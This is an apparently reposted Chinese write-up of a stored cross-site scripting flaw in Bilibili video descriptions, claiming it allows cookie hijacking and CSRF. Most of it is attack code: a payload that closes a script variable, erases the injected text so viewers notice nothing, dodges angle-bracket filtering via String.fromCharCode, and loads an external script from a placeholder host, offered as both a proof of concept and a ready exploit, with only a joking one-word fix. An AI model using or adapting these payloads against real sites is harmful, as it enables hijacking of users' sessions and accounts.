好得很程序员自学网

<tfoot draggable='sEl'></tfoot>

哔哩哔哩弹幕网xss一枚(XSS分析与利用技巧) - 网

可劫持cookie 可csrf

 

在视频播放页面 查看 源码 往下翻 有这么一段

 

 

用户输入的内容包含在了脚本里

 

分别是标题简介之类的。。。由于简介内容允许输入的字符最多

 

于是我们在发布视频的简介里面构造代码

 

'};

先闭合掉前面的var p

 

然后清除简介里面的内容 防止别人起疑心

(s=$('.intro')[0]).innerText=s.innerText.substr(0,s.innerText.indexOf('\''));

 

 

最后添加恶意的js并且闭合后面(简介中的尖括号会被转换 稍微绕过一下)

$('.intro').append((a=String.fromCharCode)(60)+'script src=\'这里插入js地址\''+a(62));var p={a:'

 

 

POC:

'};(s=$('.intro')[0]).innerText=s.innerText.substr(0,s.innerText.indexOf('\''));$('.intro').append((a=String.fromCharCode)(60)+'script'+a(62)+'alert(1)'+a(60)+'/script'+a(62));var p={a:'

 

 

 

EXP:

'};(s=$('.intro')[0]).innerText=s.innerText.substr(0,s.innerText.indexOf('\''));$('.intro').append((a=String.fromCharCode)(60)+'script src=\'http://xxx测试数据/1.js\''+a(62));var p={a:'

 

 

尽量用短链 因为简介有长度限制

修复方案:

过滤呗 :)

 

查看更多关于哔哩哔哩弹幕网xss一枚(XSS分析与利用技巧) - 网的详细内容...

  阅读:53次